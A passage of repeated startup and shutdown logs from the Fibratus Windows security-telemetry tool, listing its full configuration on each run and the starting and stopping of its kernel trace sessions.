msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T13:00:19+01:00 level=info msg=bootstrapping with pid 1168. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:00:19+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-dns=>false min-buffers=>16 flush-interval=>1s enable-registry=>true enable-net=>true max-buffers=>36 enable-audit-api=>true enable-image=>true enable-vamap=>true enable-handle=>false enable-mem=>false enable-fileio=>true enable-thread=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-backups=>15 max-size=>100 level=>info formatter=>text] + output ......................... [ http=>[ endpoints=>[] serializer=>json enabled=>false timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false method=>POST] amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ exchange=>fibratus passive=>false durable=>false enabled=>false tls-insecure-skip-verify=>false timeout=>5s delivery-mode=>transient routing-key=>fibratus] elasticsearch=>[ healthcheck=>true trace-log=>false healthcheck-timeout=>5s enabled=>false sniff=>false template-name=>fibratus healthcheck-interval=>10s bulk-workers=>1 servers=>[http://127.0.0.1:9200] gzip-compression=>false index-name=>fibratus timeout=>5s flush-period=>1s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-registry=>false enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false excluded-files=>[] fastscan=>true excluded-procs=>[] skip-mmaps=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:00:19+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:00:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:04:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:04:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:04:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:04:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T13:04:18+01:00 level=info msg=bootstrapping with pid 17000. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:04:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 use-template=>true to=>[] enabled=>false content-type=>text/html] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-threadpool=>false flush-interval=>1s buffer-size=>512 min-buffers=>16 enable-vamap=>true stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-dns=>false enable-fileio=>true max-buffers=>36 enable-thread=>true enable-registry=>true enable-mem=>false enable-image=>true enable-handle=>false enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info formatter=>text max-size=>100 log-stdout=>true max-backups=>15] + output ......................... [ http=>[ tls-insecure-skip-verify=>false serializer=>json timeout=>5s enable-gzip=>false method=>POST endpoints=>[] enabled=>false] amqp=>[ exchange-type=>topic passive=>false exchange=>fibratus enabled=>false delivery-mode=>transient timeout=>5s durable=>false tls-insecure-skip-verify=>false vhost=>/ routing-key=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ healthcheck=>true healthcheck-interval=>10s healthcheck-timeout=>5s timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 flush-period=>1s template-name=>fibratus trace-log=>false gzip-compression=>false enabled=>false index-name=>fibratus sniff=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false enabled=>false skip-files=>false fastscan=>true scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:04:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:04:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:05:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:05:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:05:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:05:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T13:05:15+01:00 level=info msg=bootstrapping with pid 5500. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:05:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true port=>25 content-type=>text/html to=>[] enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false] + eventsource .................... [ enable-thread=>true buffer-size=>512 enable-vamap=>true enable-registry=>true max-buffers=>36 enable-audit-api=>true enable-net=>true flush-interval=>1s enable-mem=>false stack-enrichment=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-fileio=>true enable-image=>true enable-threadpool=>false enable-dns=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info max-size=>100 formatter=>text log-stdout=>true max-age=>0] + output ......................... [ elasticsearch=>[ index-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] flush-period=>1s trace-log=>false bulk-workers=>1 gzip-compression=>false healthcheck-timeout=>5s template-name=>fibratus healthcheck-interval=>10s healthcheck=>true timeout=>5s enabled=>false] http=>[ enabled=>false enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false endpoints=>[] serializer=>json method=>POST] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false passive=>false delivery-mode=>transient vhost=>/ timeout=>5s routing-key=>fibratus enabled=>false durable=>false url=>amqp://localhost:5672 exchange=>fibratus]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s enabled=>false fastscan=>true skip-mmaps=>false skip-files=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:05:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:05:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:08:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:08:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:08:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:08:49+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T13:08:49+01:00 level=info msg=bootstrapping with pid 1320. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:08:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] mail=>[ content-type=>text/html use-template=>true enabled=>false port=>25 to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>false enable-net=>true enable-fileio=>true max-buffers=>36 enable-dns=>false flush-interval=>1s enable-threadpool=>false stack-enrichment=>true enable-image=>true min-buffers=>16 enable-audit-api=>true enable-handle=>false buffer-size=>512 enable-registry=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-age=>0 formatter=>text log-stdout=>true max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ flush-period=>1s sniff=>false healthcheck-interval=>10s gzip-compression=>false enabled=>false timeout=>5s healthcheck=>true template-name=>fibratus trace-log=>false index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200]] http=>[ timeout=>5s serializer=>json method=>POST endpoints=>[] tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false] amqp=>[ delivery-mode=>transient routing-key=>fibratus exchange-type=>topic passive=>false url=>amqp://localhost:5672 vhost=>/ exchange=>fibratus timeout=>5s durable=>false enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true skip-registry=>false skip-allocs=>false excluded-procs=>[] excluded-files=>[] enabled=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:08:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:08:52+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:10:03+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:10:03+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:10:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:10:17+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T13:10:17+01:00 level=info msg=bootstrapping with pid 10824. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:10:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-net=>true enable-vamap=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-mem=>false min-buffers=>16 enable-thread=>true enable-audit-api=>true enable-handle=>false max-buffers=>36 buffer-size=>512 enable-registry=>true stack-enrichment=>true enable-fileio=>true enable-threadpool=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 level=>info formatter=>text max-backups=>15 max-age=>0 log-stdout=>true] + output ......................... [ http=>[ enabled=>false method=>POST endpoints=>[] serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s] elasticsearch=>[ index-name=>fibratus healthcheck=>true timeout=>5s flush-period=>1s sniff=>false gzip-compression=>false healthcheck-timeout=>5s healthcheck-interval=>10s bulk-workers=>1 servers=>[http://127.0.0.1:9200] template-name=>fibratus enabled=>false trace-log=>false] amqp=>[ passive=>false routing-key=>fibratus enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false durable=>false delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 timeout=>5s vhost=>/] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-mmaps=>false fastscan=>true excluded-procs=>[] excluded-files=>[] enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:10:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:10:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:15:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:15:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:15:03+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:15:10+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T13:15:10+01:00 level=info msg=bootstrapping with pid 10336. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:15:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html port=>25 enabled=>false to=>[] use-template=>true] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 enable-fileio=>true buffer-size=>512 min-buffers=>16 stack-enrichment=>true enable-registry=>true enable-thread=>true enable-vamap=>true enable-handle=>false enable-image=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false enable-mem=>false enable-dns=>false flush-interval=>1s enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true formatter=>text max-size=>100 max-backups=>15 level=>info max-age=>0] + output ......................... [ amqp=>[ url=>amqp://localhost:5672 routing-key=>fibratus timeout=>5s vhost=>/ tls-insecure-skip-verify=>false passive=>false exchange=>fibratus enabled=>false exchange-type=>topic durable=>false delivery-mode=>transient] elasticsearch=>[ timeout=>5s bulk-workers=>1 healthcheck-interval=>10s healthcheck=>true servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s enabled=>false index-name=>fibratus gzip-compression=>false template-name=>fibratus flush-period=>1s trace-log=>false sniff=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ level=>info enabled=>false] http=>[ method=>POST enable-gzip=>false serializer=>json timeout=>5s enabled=>false endpoints=>[] tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-procs=>[] skip-allocs=>false scan-timeout=>10s excluded-files=>[] skip-mmaps=>false fastscan=>true skip-files=>false enabled=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:15:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:15:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:19:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:19:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:19:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:19:41+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T13:19:41+01:00 level=info msg=bootstrapping with pid 12224. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:19:41+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] mail=>[ content-type=>text/html enabled=>false to=>[] port=>25 use-template=>true] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true] + eventsource .................... [ enable-net=>true flush-interval=>1s enable-mem=>false stack-enrichment=>true enable-vamap=>true enable-dns=>false enable-audit-api=>true max-buffers=>36 enable-handle=>false enable-thread=>true enable-image=>true enable-threadpool=>false enable-fileio=>true min-buffers=>16 enable-registry=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-backups=>15 max-size=>100 level=>info formatter=>text] + output ......................... [ http=>[ endpoints=>[] enable-gzip=>false timeout=>5s method=>POST serializer=>json tls-insecure-skip-verify=>false enabled=>false] elasticsearch=>[ timeout=>5s template-name=>fibratus bulk-workers=>1 flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s gzip-compression=>false healthcheck=>true healthcheck-interval=>10s trace-log=>false index-name=>fibratus enabled=>false sniff=>false] amqp=>[ passive=>false exchange=>fibratus exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s delivery-mode=>transient routing-key=>fibratus enabled=>false vhost=>/ durable=>false tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-files=>false enabled=>false skip-allocs=>false excluded-procs=>[] excluded-files=>[] scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:19:41+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:19:43+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:27:54+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:27:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:27:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:33:46+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-21T13:33:46+01:00 level=info msg=bootstrapping with pid 9188. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-21T13:33:46+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true enabled=>false content-type=>text/html to=>[] port=>25] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true min-buffers=>16 enable-net=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 enable-fileio=>true enable-vamap=>true stack-enrichment=>true enable-thread=>true flush-interval=>1s enable-image=>true enable-threadpool=>false enable-handle=>false enable-mem=>false enable-dns=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 formatter=>text log-stdout=>true level=>info] + output ......................... [ http=>[ tls-insecure-skip-verify=>false enable-gzip=>false method=>POST serializer=>json endpoints=>[] timeout=>5s enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true format=>pretty] elasticsearch=>[ enabled=>false sniff=>false healthcheck=>true healthcheck-timeout=>5s index-name=>fibratus healthcheck-interval=>10s gzip-compression=>false servers=>[http://127.0.0.1:9200] timeout=>5s flush-period=>1s trace-log=>false bulk-workers=>1 template-name=>fibratus] eventlog=>[ enabled=>false level=>info] amqp=>[ delivery-mode=>transient exchange-type=>topic passive=>false tls-insecure-skip-verify=>false enabled=>false timeout=>5s exchange=>fibratus durable=>false url=>amqp://localhost:5672 routing-key=>fibratus vhost=>/]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-files=>false scan-timeout=>10s fastscan=>true skip-registry=>false skip-mmaps=>false excluded-procs=>[] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-21T13:33:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:33:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-21T13:34:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-21T13:34:12+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:34:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-21T13:39:39+01:00 level=info msg=loading macros from file 